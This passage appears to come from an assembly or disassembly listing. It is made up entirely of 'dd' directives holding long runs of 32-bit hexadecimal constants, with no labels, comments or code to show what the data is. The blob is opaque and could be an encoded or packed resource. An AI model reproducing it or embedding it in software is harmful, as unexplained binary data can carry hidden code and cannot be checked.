83CA0080h, 7330ED7Bh, 0EE0033E7h, 0DDACE4Bh, 1F70A04h dd 6B3B02E1h, 0C0CA915Ah, 0D200ECE5h, 9DA4DCA9h, 5E68ADFh dd 5C493675h dd 452B80C2h, 990156EBh, 33BFB442h, 0C03FB5F5h, 0F0EA34AAh dd 801F1039h, 5208661Eh, 1F1DAACBh, 40D9EEF7h, 7DE0B36Dh dd 0BF00CD61h, 1F09346Bh, 1DE30301h, 0C065906Ch, 6D0F71D3h dd 6F03E449h, 92F78CAh, 0E2BF3E1h, 40C0F228h, 0EC92CB20h dd 0FB001FE9h, 29D85E70h, 0E39E9F8Bh, 38D7D8h, 0BC2FE258h dd 2F51EABh, 7201EA77h, 0FDA43C57h, 2E70BA20h, 0D21700A1h dd 0C6B60E58h, 0A2010D32h, 0DA77433Fh, 8BECB2A9h, 3AE30069h dd 0D325A6E9h, 3B0A2363h, 0CC7B7AEDh, 0A793600h, 537446Fh dd 0CB753032h, 0C266C031h, 0DE03F7CCh, 0FB204170h, 918CC8BCh dd 6990C0ADh, 920D2DC4h, 89840300h, 0D4DEA5C8h, 3B250938h dd 1821F91Ch, 704A4DBFh, 930008DEh, 86C96C61h, 5C6970h dd 208A2522h, 0A6E60E12h, 0E08B58CEh, 0AEAC9FC4h, 615300D8h dd 84EC3D7Ah, 0BB0065E7h, 0C6F9464Ch, 0F7393Fh, 0A6B015C0h dd 2AD63574h, 4057DF00h, 6D7D51FBh, 8D29029Eh, 0C837542Bh dd 5D468480h, 1817F29Fh, 43A96679h, 0FB1C2607h, 8BE520DEh dd 98C21D7Eh, 43550B11h, 3852B88Dh, 0F80AF84Bh, 600700D3h dd 0B09CEBAAh, 2000F383h, 9272F6C3h, 1F23F92Eh, 803C98B6h dd 0B7028C55h, 42679556h, 43B00880h, 70ABF4F0h, 506D1CD9h dd 0C79B0024h, 7C7E8312h, 0F7E5201Dh, 0D0AC8980h, 0EB8501h dd 9F1CB49Eh, 0C9DD7036h, 7F7C3A00h, 94605F5Ah, 0D9E8A1h dd 0D85DBC92h, 4083BAADh, 49004E98h, 4B4F5B04h, 95EF3Bh dd 0E9325FCBh, 2BA27D34h, 0EC0010E8h, 2FD8E093h, 5D1C9Eh dd 0D4190448h, 0C085AC8Bh, 4CFB5102h, 4009A7DFh, 0BC3EAFh dd 3975DE12h, 0E0187AB5h, 602A6E00h, 3F16B9CDh, 0DD90381h dd 92A2595Ch, 0AF1CD0BFh, 7400EDCAh, 9F7AF28Ah, 1E9020D1h dd 8FBF2452h, 0A52046D2h, 32253AAAh, 0D9006575h, 0D78D9A8Ch dd 5B9CF55h, 3EE1B4E3h, 0D48C00F7h, 1BD2FBC6h, 0A133E000h dd 0AA1CE999h, 0EFDD060Ch, 0E0BB15CCh, 8364683Eh, 0D4DA13BAh dd 87580062h, 8E1A4553h, 0F501CC14h, 0DD49F9B8h, 5A20566Eh dd 7E507BBh, 0B04D3D77h, 66BA1891h, 0F05C6F7Eh, 0E86E1865h dd 0EA921h, 401D1EDDh, 49D9366h, 0E02518CEh, 0CDC84357h dd 9572D8h, 0FE24AE69h, 0AAC5D43Ah, 62143300h, 78CC075Ah dd 0AD6D121Ch, 68AE0BCBh, 0AF409E0Fh, 42EC31E2h, 5CDC3000h dd 0F5C5E36Ch, 93B401C8h, 0FBEDFA4Fh, 0E051E818h, 0ECC74E0Eh dd 2985AC06h, 1A50060h, 0CD04224h, 7D24C978h, 3A48EEh dd 0EBB9B455h, 16488ABh, 2B3FA480h, 0E0770B6Eh, 0EEA42DEh dd 0CE5EC824h, 4133BB00h, 18E32D3Ah, 12C1AA71h, 0D8394772h dd 833939FFh, 0A53F946Ch, 0AC6EA8D9h, 0CBE03EBh, 22CFBA89h dd 8EF42FA0h, 0E80012E4h, 0DE16D4F0h, 1714F611h, 0EBBF1E7h dd 1980E2BFh, 0EB922EAFh, 7430C51Eh, 3AEEEF00h, 10FD67h dd 16D37A28h, 99FE927h, 630D4B0Fh, 0EBC14099h, 76D1E25h dd 389A13F2h, 5485904Fh, 331E40CBh, 1C0426F0h, 0FB87EFh dd 2A809D68h, 0DA00538Ah, 0AC74AE5Fh, 6FA5C6h, 0DF9D9F0h dd 0D154238Dh, 0E3C33200h, 0AA55EBA3h, 368E00B5h, 0F6B37E17h dd 8300A9ABh, 3AA00F8Ah, 0E6AF2924h, 589401A5h, 68187F1Ch dd 7DC080D9h, 0FB90CB64h, 22523869h, 0E3406081h, 0C089359Bh dd 9A001F08h, 74665793h, 13BB1CEh, 0A325A7FCh, 0D1CB9E47h dd 400E8E20h, 17CCA572h, 58628400h, 0FC6BCE6Fh, 1974A5h dd 0D8E6F1CFh, 10CC09A3h, 68148430h, 0A0C970B5h, 92A6DFh dd 0C46D63B8h, 0CF2C86DBh, 0B9FAAD1Dh, 0B8C67C0Ah, 43D15D82h dd 2F9200Bh, 12165371h, 0A300C53Dh, 0EB95A6C8h, 7BFC0076h dd 464F0441h, 4B0FFA89h, 478ADE75h, 0A260C774h, 131586A9h dd 53DD8CAh, 0C3B374h, 0AF655ACCh, 3B07B526h, 60B8721Eh dd 0E3AC8460h, 6CC70705h, 4014A519h, 735A9E2Ah, 0D7799814h dd 663F00F3h, 965625D4h, 890EAh, 5E27E190h, 0AAEDCF7Dh dd 8BF37C00h, 83C5D975h, 0F6390081h, 8DA7EF78h, 349188BEh dd 73318F00h, 0C111D6h, 37EAD3E1h, 0BBADE2B2h, 0EEB04300h dd 236B1CD2h, 0C5D00069h, 0A63CD94h, 0A8036051h, 0EC4ADC42h dd 0AC08C8F0h, 3F240086h, 8171BD32h, 6B0035A7h, 3A12B91Ch dd 3F9D343Eh, 11603F93h, 0F0B0058Ch, 80EC503Fh, 88C11B5Fh dd 7B71B995h, 0D6A8005Bh, 0ECB40CB2h, 0EE0007B5h, 9A61CF5Eh dd 0EFC454ABh, 8D099440h, 95BE0029h, 0FEB7DE51h, 2817D191h dd 7F00EC99h, 7057697Ch, 3C2EC0CAh, 0AFA37D11h, 2400B890h dd 6CB56571h, 0E276B83Bh, 0AA32000Eh, 5C553F5Fh, 331EA611h dd 0A802F0Bh, 44E50DCDh, 43F3075Bh, 2264EE09h, 8814126h dd 0EC4D5767h, 35039FFFh, 0F9247566h, 98AE8B5Ah, 3BD3E7h dd 5B3195C4h, 0A212DC28h, 0C8DA9800h, 0A66272ECh, 3EBAECD8h dd 8200056Ah, 28AF67B9h, 530BCD25h, 74B5FD30h, 50C800E5h dd 19A4BA7Dh, 113B29E4h, 3D070443h, 0C48709B3h, 0B5FF9CC1h dd 4F26E99Fh, 15AE79ABh, 2CF77D80h, 5E23206h, 7500B0F8h dd 8D385AECh, 0A0719C0Dh, 17E50A1Ch, 0BD9D09h, 0F6ACF0B1h dd 410DD1BAh, 4131C99Ah, 300AE98Ch, 0B1F8AF78h, 7947A084h dd 4CB0C4h, 4969DDCFh, 531900Dh, 0AC8A320Eh, 2540A193h dd 5920910Eh, 3CF21DE6h, 0BA734094h, 6BAC7263h, 0C0F849ECh dd 99A95D07h, 79E0564Fh, 1D9F5348h, 14B7C6h, 0BDE56631h dd 853EEAD4h, 1E6B1EDAh, 6235BCC0h, 31ADE1Dh, 51AD8605h dd 7790A47Eh, 0BA007A6Ah, 2AF280F5h, 168045Ah, 0CAB83A20h dd 0E801C3BBh, 600040A2h, 0C222A31Bh, 96C15Bh, 788EE4F6h dd 0E5735C56h, 8AACD51Dh, 0C3DE853Ch, 7C80E9CCh, 0DDFAA5h dd 225D36DFh, 571337DBh, 9839ED2Ch, 0A0B8410Eh, 0FF3C2D30h dd 44AA00FDh, 4DA54679h, 663A2EBFh, 24AD809Fh, 0D71EB125h dd 0DD970EDAh, 0D834D89Bh, 4CE76D00h, 0EFF7F4E8h, 5C66A600h dd 0D11789D2h, 3F0492B6h, 3E801BD6h, 70B09186h, 2E30B447h dd 4628A1F3h, 73C77ADh, 3A934579h, 6CC9B195h, 0E450829Fh dd 405EBD19h, 304B0B1Eh, 7859B7D0h, 8F17830Ch, 0AE006F15h dd 0E24721DFh, 0FE4C00C2h, 0BD93677h, 0B848A806h, 82AF0554h dd 14903CC4h, 8B4D2Eh, 9E8A3A39h, 0D6B578Dh, 0B2E10800h dd 0EA692FA1h, 82B30FDEh, 0FD732Bh, 0CB0AAB48h, 3C0E9209h dd 802E29C7h, 0DE39EF1Bh, 0B12100F5h, 2491F6BAh, 6E707247h dd 63A39000h, 8D97F018h, 49821D52h, 0D505407Ah, 0B326FE3Ch dd 0C33020C0h, 7AB10CBh, 0AB94D9Bh, 48C9A0C8h, 0F250B7FCh dd 28C062C0h, 9CEE2C2Eh, 81B30031h, 96284B84h, 6F0085D1h dd 5073895Ah, 0E05CBD35h, 0D6794Ah, 0CEB7A263h, 0B1D7FE23h dd 3B4F410Dh, 5CE0788Ah, 3F700E26h, 820CFCFBh, 6E00A5B1h dd 764BDB08h, 429E55h, 9F9BE5Bh, 0BDE150EBh, 0F1E98C00h dd 72E2A8B9h, 18EC716Fh, 40A2E789h, 0BD014A8Ah, 3EE0FFD5h dd 1983EA01h, 8417242Ah, 0EE7E80F4h, 5B00CEADh, 83DAA75Fh dd 0FD96D691h, 1F49DC0h, 649E0A29h, 0C8FB89F7h, 3E002032h dd 0FE56BF40h, 110BDA4h, 0FF637C98h, 0D0C26280h, 0B60F8A30h dd 40944850h, 0CA4FCC77h, 7F7B1CC8h, 51440CD1h, 4A54510h dd 87826055h, 0ED005B29h, 78287EDAh, 5D58D7h, 2C0D9A23h dd 187A9B38h, 48ACE303h, 0C4744A2Eh, 6AD17303h, 0F529FCB8h dd 7E71DF1Ch, 64F79F0Fh dd 3680F35Fh, 0B0AE64F8h, 0DC900077h, 0FD9ECCDAh, 0FA00CF50h dd 0EDF82993h, 196751h, 1348A6C1h, 2D5EFE66h, 0CDBADB15h dd 2BF4ED70h, 110DC50h, 0D253C1C7h, 86D9F8E4h, 1EE0EB4Ch dd 51C0AC28h, 780B70Fh, 0DFD6322Fh, 0CE11CC29h, 2B01ABC5h dd 0DEA411B4h, 44780417h, 0F744CC13h, 0E1A044B3h, 44AAA444h dd 134ACB0Fh, 0A5BA083Ch, 1914B894h, 0FFA124EFh, 0A4A92841h dd 3510BC12h, 1B29C41Ah, 921844B6h, 33427048h, 0B5E72219h dd 52B13C21h, 11DA5401h, 0C312F83Dh, 11FF5C11h, 3E912851h dd 20AF44FBh, 1B7C7F5Bh, 802C29C8h, 5B92B920h, 8F004951h dd 9A31222Ah, 0EF5AB3h, 9C1A78E0h, 69B0814Ch, 0E53F6A01h dd 0D710B508h, 562CF4h, 1319CBF0h, 55BAF1B4h, 45443C00h dd 4A7762DDh, 0F5C10ED0h, 0F0E01F42h, 6E8FEDE8h, 0A0D8AE00h dd 877CA24Fh, 587659h, 0AD49081Eh, 504EE004h, 0DC82B2Ch dd 0E1CD4600h, 19ED35h, 0BC0D6D29h, 5738AFDFh, 1D0074F0h dd 0EF437B99h, 77A52Fh, 682CE3Ah, 7ED6C815h, 7B117001h dd 132703DDh, 65F43825h, 0A56F03F5h, 99A41B4Fh, 73CF16E8h dd 60226C00h, 0C25FD0B0h, 20A63C1Dh, 0F4A86480h, 77B76526h dd 0A90C1900h, 0A6379DC6h, 6BA5029Fh, 0D727EDDDh, 97F6C40h dd 9B2E6201h, 0EA40655Bh, 3BF56E8h, 0BDD63FD1h, 0A4834C1Bh dd 0B0E14EB0h, 51E51900h, 543EC9B7h, 8083036Dh, 1E536627h dd 90D016C8h, 2DE7A000h, 9EC72BA2h, 0E1A0A082h, 78FC3C26h dd 62236100h, 0E7D533F2h, 472E12F8h, 0A800F8E5h, 9351BEB2h dd 2D4500D3h, 0AF39D62Bh, 0C7006421h, 2F6E1FAEh, 5C2A9E96h dd 0BC008DA7h, 0F2135CD1h, 71243D5Ah, 0D830489Fh, 310E168Dh dd 0CEA84F84h, 9BE5C815h, 3967A700h, 0E3CDDF95h, 0E11D0096h dd 898F4A3Ah, 56071161h, 1664CE52h, 0D308ECE0h, 977154h dd 1FB2F72Ah, 58DF8C99h, 7D523800h, 44C3C6FCh, 162100F1h dd 0D8E7CB1Eh, 0C100AAC9h, 1BA0D7EAh, 0B5F5ADh, 0C8FB72D4h dd 99FD603Eh, 71F22F6h, 7A4002C4h, 45788A51h, 3B9F0EC9h dd 4D40C6B2h, 659920F1h, 68135A01h, 270452ABh, 1F9C3ADCh dd 44D32E8Dh, 8046A535h, 0FE75414h, 0FBDF7300h, 0AE5F7174h dd 20AF016Ch, 57EAD880h, 81622028h, 0C67FC8A0h, 7B8D3600h dd 0B61CAA71h, 0C7FE2E2Fh, 1AAE0017h, 0FA7386A1h, 3A403906h dd 7E649148h, 0B1BF006Ch, 10EDBB94h, 7A03097Bh, 0BD307F0Bh dd 77300176h, 890CBA69h, 0A9EC4046h, 0EB1D632Dh, 34001F75h dd 4461D837h, 0FAE73F03h, 28AD2005h, 0ABEBC030h, 27003FCAh dd 99C932A1h, 98CB9Fh, 64B435E0h, 85813CDCh, 0BF2F2700h dd 26EA9533h, 3BA1010Bh, 36B1D0C6h, 0EDD8309Fh, 9700A6F4h dd 0C5D3EF2Eh, 0DE4A3Dh, 0B32665A2h, 0B05F6084h, 0A4FACD0Fh dd 0E301579Eh, 25C31F0Ah, 7F3CF970h, 0D07600C8h, 92F1DD24h dd 14989EDAh, 53B6C300h, 1D72B06Dh, 9820E3E9h, 1A990087h dd 65E3D808h, 0BB00E04Ch, 5F8B7CDFh, 987EB574h, 0AA3D0028h dd 0D80E2561h, 0AD00CF98h, 93900DCBh, 39AF4C8Bh, 384DBBD6h dd 0D13AF70Fh, 13BE4061h, 48396054h, 30001090h, 9ABCC387h dd 1252A17h, 230183E1h, 0C27C4E64h, 0BC80F842h, 63599C40h dd 6CABE400h, 6BE5122Dh, 7A0B0A45h, 394E815h, 0D41A2C84h dd 0B135C0FFh, 190029ECh, 0F64D0E34h, 6079C8h, 9AB5ED22h dd 0AA9D5736h, 0A3A86504h, 0C0AB472Dh, 0E1F2ECCEh, 6A1D247Ch dd 0CF8028E5h, 16FB6E44h, 7DD7001Fh, 3458455Fh, 84003EA9h dd 6AEC0C94h, 8E2F90h, 8B43CEAh, 0A30BA150h, 0FC028D2Ch dd 21577A0Ch, 0DA5002Bh, 3CDF8A7Fh, 48E68112h, 0C2742D07h dd 67805864h, 95DAD7h, 0A0D07891h, 0AAEDA12Bh, 0A8240D00h dd 0DF54CB59h, 0C2081C88h, 1066E1h, 7404C73Dh, 4D1D2DFFh dd 164046FEh, 0A957D78Ch, 0FC8E1CC5h, 32CDC114h, 0C81F794Bh dd 66003B31h, 26569E41h, 1383C86h, 8EA74463h, 0B3275Ah dd 5407731Ch, 3BE1ECFCh, 5222AA23h, 0FD4E3B01h, 462F982Ah dd 132ACBE5h, 9C1C005Ch, 0B4513D92h, 127D709Dh, 0EBC5C0h dd 0BED94730h, 0E7F96C3h, 94882E2Ah, 857D6003h, 901D6337h dd 6BC224Bh, 50C5A62h, 4F0154B4h, 9F58D146h, 67E86880h dd 0C9A307D9h, 0C0F17BE7h, 570EEF5Fh, 0BB445C1Fh, 401B39Dh dd 0A4C8072Fh, 1D6316F0h, 40F782FBh, 0EF5C56CAh, 1A4C8965h dd 4E27004Ah, 0E42C907Bh, 0FACC0116h, 0B5D594A5h, 0A2802430h dd 0B7E09E00h, 0BD84B0Fh, 3FA3000Dh, 5A72AD59h, 38008B70h dd 0EF9E0586h, 12356CC5h, 40796B31h, 3A97F9E4h, 511EB813h dd 0F02D007h, 60E00B41h, 0F724568h, 76DE1446h, 29084076h dd 0A044ED4Fh, 83A4D500h, 7C4A9166h, 0DE420469h, 8037FE63h dd 98827FE4h, 1906E4Ch, 741E9F11h, 0A0C496BDh, 0BC4A5803h dd 0FEAD0600h, 0A8415CD9h, 30603300h, 3B4F2F1h, 2F29829h dd 0A6BCB94Fh, 38C4932Ch, 0CC564800h, 0BD1E0917h, 0B75500C2h dd 0A04331FFh, 5A00E9C9h, 6408A7A8h, 1593A0Ah, 0FD670E19h dd 0CE0FEC76h, 0AF58E0C0h, 554CF402h, 43735917h, 2F42A893h dd 7F06001Fh, 0C09D0E48h, 6300A685h, 0B944512Eh, 67B0D5h dd 0F60372F1h, 0CD685BE8h, 467E1A00h, 0CBD09F6Fh, 0CF6D006Ah dd 2A0B75DAh, 99015CEDh, 0D7DD4709h, 0B8CBA88Bh, 38C931BEh dd 6993E7DCh, 5E5800F4h, 0FC81AC01h, 83E33Ah, 0EAE1DAF8h dd 9EA573h, 0B551F971h, 0AFD796B1h, 7B75BC07h, 0E9C087DFh dd 0E02F675Fh, 44E200C3h, 66970EA4h, 9205FE75h, 62FB4CAAh dd 0B06EB80Ah, 9B2FEA41h, 0ECE929E4h, 0EB7D8Ch, 0F327C9B2h dd 0B44DB74h, 0D8FE49h, 8FC44E60h, 1E846611h, 0C7300CEAh dd 1FF0CB49h, 47FB814h, 21012CB1h, 92A88005h, 0C605BEC8h dd 54641CA0h, 901A5C83h, 0EEE8ED57h, 189902FEh, 0AA4CCD20h dd 0C96ADC40h, 9D095D76h, 8062528Ah, 39E8CCACh, 0EDBD0076h dd 978B23F6h, 0F200C8DAh, 0C91DEAB0h, 4827C6F4h, 0E500AC1Ch dd 5EC4EE50h, 500AF02h, 1D78D2DFh, 3A60B0E2h, 0F880A4BCh dd 39BBE5D3h, 630FA14Ch, 6E61202h, 0C808ADh, 3B41ED53h dd 0E22FC8A7h, 2C452326h, 0C6F77480h, 0E5CF49h, 0C76D6F2Bh dd 11646832h, 39F9F207h, 93505923h, 70BC172Ah, 7EDF0358h dd 62D23718h, 0C9EBF7D7h, 75336500h, 8F316B2Dh, 2EEAD09Dh dd 0D566E0h, 93DF3E6Ch, 3DAE5B77h, 369D0600h, 88ED7BC5h dd 45801D17h, 0B39843EBh, 1A80A82Bh, 910011FDh, 0C34B49D6h dd 20043FA4h, 8B108FE5h, 0BA005825h, 0A61F282Dh, 0FD00ED37h dd 0F47B50FFh, 7A39ED9h, 0D340A88Eh, 5C40190Eh, 76F042E8h dd 43CACB0h, 0E52700B6h, 4CA211F5h, 0AB200049h, 0BD5826F3h dd 0D05658Bh, 0DEA4BBF7h, 841D9401h, 6A70BA4Ch, 0D43E05D5h dd 0EF50D3Fh, 4DA49194h, 5A1480ECh, 60B7F6DDh, 22BD0Eh dd 0B65F9EEEh, 0AAC52075h, 0FD0070B8h, 4D6CB471h, 70C3570h dd 1A91E8E1h, 30D7C027h, 0C72E199Ch, 591A045Eh, 0A04C020h dd 0F09448DAh, 0BB9EB839h, 0CDCB408Ah, 0FF0B1C8Bh, 985F5Dh dd 0D8B18CA0h, 0A90DC3h, 391BDC9Eh, 6FEA488Bh, 6A00C7FEh dd 16F4865Bh, 0B07ABCh, 54652273h, 0A9BB2361h, 8CE06806h dd 1874A5h, 0E9E689AAh, 1601C446h, 93529102h, 0E0A03B02h dd 4BDB75h, 0BAA6F362h, 34D686C6h, 50985239h, 22007DC0h dd 0CC68A5CAh, 81849Dh dd 1AE1B31Eh, 9070F2AEh, 51D5701h, 0D9F865A3h, 0A0BED6FCh dd 9DBAD8h, 20471B40h, 5B94A73Fh, 695E3Fh, 8BF761FBh, 14713D6Ah dd 0AC40FA8Dh, 5A5EC807h, 0DB5900B1h, 0F001709h, 82737928h dd 20CF9Eh, 0ED4783C1h, 0BA4AE13h, 92F59C00h, 0B8714F4Ah dd 0CD6600ECh, 17DF73A1h, 0D000F999h, 7E4907C6h, 1DC833E9h dd 0CE92F2D5h, 5FE12C68h, 70746C76h, 0D3003CC6h, 0ADED58BFh dd 45A293h, 6D605D3Ah, 84DFE8F1h, 0D0018E8h, 24B5A6F4h dd 0A37E6C1Fh, 5C3280B0h, 73891E74h, 4BB240CAh, 0FB8DE957h dd 0EC8B7700h, 0F1432667h, 407560D0h, 20A4D2C2h, 5BFD4F00h dd 0CA52331Ah, 26DC00EFh, 5A7E650Eh, 161D9E8Ch, 0D900CD1Eh dd 6E5D9787h, 3B9F0184h, 78E0F494h, 7B80A6CCh, 25995000h dd 3FFA8Eh, 9E4F8C52h, 7294D431h, 0C3BD600h, 847F6C48h dd 749C0058h, 649F517Bh, 4101BFC5h, 1E4C4ABEh, 9E0D19Dh dd 37F600A2h, 1AEC7B9Eh, 627AAECBh, 34EFAA01h, 808A984Eh dd 7847CFC8h, 6F39001Eh, 52F2B39Ch, 82006E71h, 6A62D875h dd 3BFC4629h, 802EC540h, 0DAAD09E5h, 0EEB26B00h, 99007914h dd 202BD9E9h, 985C17EBh, 0F82018Eh, 0DBBDD58Eh, 58208084h dd 873C39ABh, 24AC9AB0h, 75E66C6h, 40250CA4h, 26A7CB70h dd 2D7C2109h, 5F9060B1h, 5E130B07h, 0BC200810h, 930BC5E9h dd 0D8BDD413h, 38F5A440h, 3B5A3D0Ah, 9D00A43Bh, 6271F6F1h dd 9700C08Fh, 33B226B1h, 0DDDA5Bh, 0BBCA0FC9h, 74AC4A86h dd 25645058h, 19BC90BDh, 1DA70072h, 57B00540h, 5CF84BC1h dd 0FB667000h, 2560924Ah, 0B498DCh, 0D4B51E45h, 266A36D2h dd 7DBC6324h, 2502C303h, 14A000ADh, 2F7DA616h, 0C60086E1h dd 6337AED9h, 1E929ACBh, 80650536h, 542E46D3h, 660484EEh dd 0AEEF5776h, 26E828C0h, 2BF300FCh, 65D69ECh, 19308541h dd 0B130A633h, 3FE290h, 3CF7898Ch, 9FB30873h, 980B453Eh dd 8AA8C948h, 0E45E0037h, 1D95B7A9h, 57137CA7h, 0BC03D9DBh dd 0A12246A0h, 74707191h, 1D251FA8h, 0B87201ACh, 0C4A1734Fh dd 9F0FA4E0h, 0A061B5D4h, 70811EC6h, 40570396h, 0BE8F3E7Ah dd 2E10BB8h, 0DAB72E00h, 7948302Fh, 36EF0018h, 53646CA4h dd 9124C1FFh, 4B0025A3h, 0D63CCB75h, 0E06B79C5h, 0E7C300CFh dd 67FC2F19h, 7D00FDABh, 5B702E8Dh, 4423C2Bh, 0ED85DD6Ch dd 3754C1D8h, 1A36E835h, 30EFCD2Ch, 0CF5F0F81h, 1060F41Fh dd 5C570095h, 0DF0B4CE1h, 7A0637D5h, 0F3E27356h, 0D9D89720h dd 0FD2E7F1Eh, 5E87B900h, 6612F05Bh, 403610F5h, 20D3A50Bh dd 0B7075F6Ch, 0B76173CDh, 91E295C2h, 9C9C0Ah, 0CF346A20h dd 82787E05h, 0AD4A2C05h, 54C03670h, 0F9C65A8h, 881E56E4h dd 0C8F6AC81h, 6D142076h, 82E7EC00h, 89F5178Bh, 565218C4h dd 0BEAA60F8h, 0AC5A5F7Bh, 0DF6C3004h, 0E3555480h, 0C42B0248h dd 4733AA2Eh, 0F2426848h, 1C947300h, 18776323h, 1BEA266Ch dd 816987F4h, 49824907h, 0A448E915h, 0F50313D0h, 0CFD90820h dd 6B2AB139h, 0A3D1270h, 0DD0ECAEBh, 0AE588098h, 0CB3AD41Dh dd 74056C24h, 64B1A882h, 44C0807Dh, 1416269h, 0EAA55E5Fh dd 87DB93DDh, 5A76D669h, 11E276h, 0E03E1DEBh, 65607568h dd 2600B090h, 0DEFF599Eh, 0A0D5C6A7h, 9F5F4h, 0B8572262h dd 0FEB402F9h, 74005A72h, 0A49E978Ch, 73215BBBh, 323D0F26h dd 2C401FE4h, 0B22BEE6Bh, 8AA3A100h, 25CD6163h, 1DBB5ED2h dd 4F0B8014h, 43DF119h, 72AF6E00h, 35F2F69Dh, 0E5310556h dd 0D06690C8h, 0E3B61230h, 0AEDCAB50h, 0CE430084h, 34C3959h dd 6F004DAAh, 9947C8BDh, 7ABC0495h, 0E7B0011h, 0E26D1C6Bh dd 0A5002B73h, 0E66AB961h, 0FDEDA2Dh, 6367D72Ah, 9ECA0DC0h dd 0F20045CDh, 0EC356508h, 0FE54E6h, 0F06733DBh, 8FE290BAh dd 1C03E8BEh, 0B8AAA08Bh, 0FC0EDC94h, 0F2113078h, 80F889A1h dd 0CB14AB01h, 5346B30Dh, 0E318C24h, 4A50E787h, 32851A80h dd 4126D8DEh, 7B9FC01Bh, 0C19A5833h, 5180A68Ch, 35839480h dd 8E00B036h, 0EEEDE05Ah, 0CE6FFE95h, 90A0FC59h, 3807F537h dd 0E55D6301h, 45D93DF7h, 44204F02h, 40927D3Bh, 0AE0093ADh dd 0D0F5951Ch, 1C464E55h, 4A0E9E27h, 0BA2409E9h, 99E2F080h dd 8A181C77h, 69B56200h, 0BFA140DBh, 3F50B86Ah, 7DFD3Eh dd 0B3CCF3A8h, 0DC5B92AFh, 0EAC36326h, 0D899D600h, 41E9F5h dd 1DF1A273h, 2BB3B169h, 4049EA00h, 0FF48A8C0h, 2BA72DFh dd 7645E0C5h, 2BC04C0Fh, 4F007B66h, 0FC229A24h, 2DADE9h dd 0B7B0D275h, 83B98F11h, 7BD70500h, 0D6565009h, 300A0094h dd 603ABB10h, 4F2C5D01h, 89070099h, 6DC1AD1Fh, 0B2E0E306h dd 0AA5A004Ch, 9103696Fh, 47071693h, 8CF5EB0h, 0F02E2940h dd 30D2001Ah, 31D4C537h, 94A0E3F3h, 1D06E7DBh, 25C719ABh dd 5FD80070h, 0D9D2A856h, 9F00717Eh, 0AD7D61E9h, 0AB52A5h dd 3D6B4365h, 0D2C8DB14h, 69389D00h, 10C28CB5h, 226C163Eh dd 38C001Fh, 0ACDD0FBBh, 5B235007h, 7BA0B042h, 0FE9B0D74h dd 14D60031h, 882F15E3h, 30F6F04Ah, 0B9750B00h, 160E1AF3h dd 0B4B63EBFh, 0E2533D81h, 202FECA5h, 0C8A1D788h, 43C43093h dd 50C4FD0Eh, 810C2922h, 0CFA481ABh, 0B80B16C0h, 91633F04h dd 0C1541C83h, 90C3E06Eh, 66D0ADA3h, 623F88B4h, 30C30B87h dd 0B10CE03Dh, 9F1B0059h, 2C88F57Bh, 0D0131931h, 0A85E2047h dd 0A4E404BCh, 649C94E6h, 246C00AEh, 0D606B1C4h, 183A0CB7h dd 79EE8008h, 27D246D4h, 0DE7C0073h, 0C14A920Eh, 46B005C3h dd 0B316049Eh, 982D90Bh, 2C60107Eh, 209A5D52h, 0D3FD2800h dd 0AC313011h, 160DE59h, 8247E7Ah, 0D8806C7Dh, 581E8A78h dd 8B0D54Eh, 3CBCC00h, 0BA46FD4Ah, 618ECBBh, 2808251Ah dd 0A1007875h, 44F25C3Eh, 4E090F01h, 0E1A4001Dh, 0E276433Dh dd 0BEDDD100h, 554E9A1Ah, 97260B2Ch, 4060583Ch, 93487FE6h dd 0D1D20ECCh, 0EE0B40D6h, 2CA9570Ch, 9008F805h, 3311C060h dd 0E23E6CC3h, 7C9E1E71h, 0DD80FB4Ah, 76618144h, 57008F9Ch dd 27798A3Ch, 6094ECDEh, 38AFC27Dh, 0A8028CF9h, 310DC51Eh dd 98C45Ch, 0E9EB5EABh, 0A71C97C2h, 3AE2EC00h, 5CF50425h dd 4BD50B02h, 0D7B194h, 1AB57581h, 3ECEC18Eh, 0D87F2D95h dd 20589376h, 800D3EDBh, 65DE1656h, 0E261D914h, 12E07E67h dd 741A28Ah, 3A083208h, 1580BEE0h, 0BFC566FAh, 4090386Eh dd 0E9028DE0h, 43449F32h, 6C98E0A1h, 97350176h, 7CB57BBh dd 0D83CD8h, 7D4790F9h, 0E53DCACh, 0B9CF9DA1h, 0D55582A0h dd 0ED0005D1h, 306FC3Bh, 1DD8115h, 5A36E8F8h, 0C41012A0h dd 0A3091F5Bh, 85CA0222h, 94C1C1A0h, 30702D19h, 83A70361h dd 0BB8511E5h, 307D28C1h, 5200EC1Ah, 0A2F91B9Eh, 18E8B06h dd 1F5FFDCCh, 7019136Bh, 0AE4AE084h, 0E3CFD400h, 2DFB589Fh dd 84900E73h, 11013341h, 9DE72BB2h, 3CC0771Ch, 6E9F073Dh dd 0B03BC384h, 0BA505AA7h, 61CB9200h, 6AC53FF2h, 677138h dd 9966DB79h, 6C60739Bh, 0EF2494B8h, 20002CFBh, 0C2CFEE52h dd 3FB17345h, 53249482h, 0B98A00C8h, 0CBF0C693h, 0B43F9D00h dd 5D8E3BE1h, 151200E6h, 0D84DD77Ah, 2500A13Ah, 0D3928DAh dd 1F4A4Bh, 31B41D95h, 0C96EE9A3h, 0A41EFC00h, 0A85A17C5h dd 39872D2Bh, 2E3FE438h, 9CDF901Ch, 0C6F782FCh, 0C00B0466h dd 38D4313Bh dd 500EB496h, 19407326h, 32A987BAh, 157D3F00h, 0FA62D511h dd 40930BF8h, 0AE83B36Eh, 48F8DC37h, 8F721ABFh, 0F6728007h dd 6D717EEEh, 0EC3EF03Dh, 8FD00FBh, 0C7ACAEA0h, 81C91E39h dd 143E0040h, 4F1523CDh, 0A2DA4200h, 0CE22FB0Ah, 2A1B00B8h dd 0C40D7FAEh, 0AC0134F3h, 0E70A9751h, 0E0E08F0Eh, 48FAF728h dd 705ACE68h, 0A0FD00CCh, 0F0069095h, 0C603D8D3h, 5717BA07h dd 9CE89844h, 30F325E3h, 0E1F0D060h, 653E5F00h, 286453DDh dd 0C6870029h, 21D0AD4Bh, 812E10Ah, 78D83815h, 4CF407B5h dd 0A9627E87h, 0AB5FCE83h, 0F185EED0h, 0A659A900h, 86823C92h dd 0D4AA00CAh, 6A633743h, 0E70577C9h, 5848A0BFh, 21A3B9C0h dd 1C410099h, 0B038FEADh, 0F600732Bh, 2A22681Ah, 95DD19EFh dd 0DE9DB480h, 0F704858Fh, 0FB553CF3h, 0B8C29E80h, 8798B4AEh dd 871A63CEh, 515081D6h, 0AF33F438h, 0B8C910C0h, 0BAE44A4Eh dd 3CD8A004h, 0A33A3CE8h, 0DA8F9800h, 0CA9C1F9Fh, 0D5829100h dd 4ED10FD0h, 0B4AC5h, 1C907CBCh, 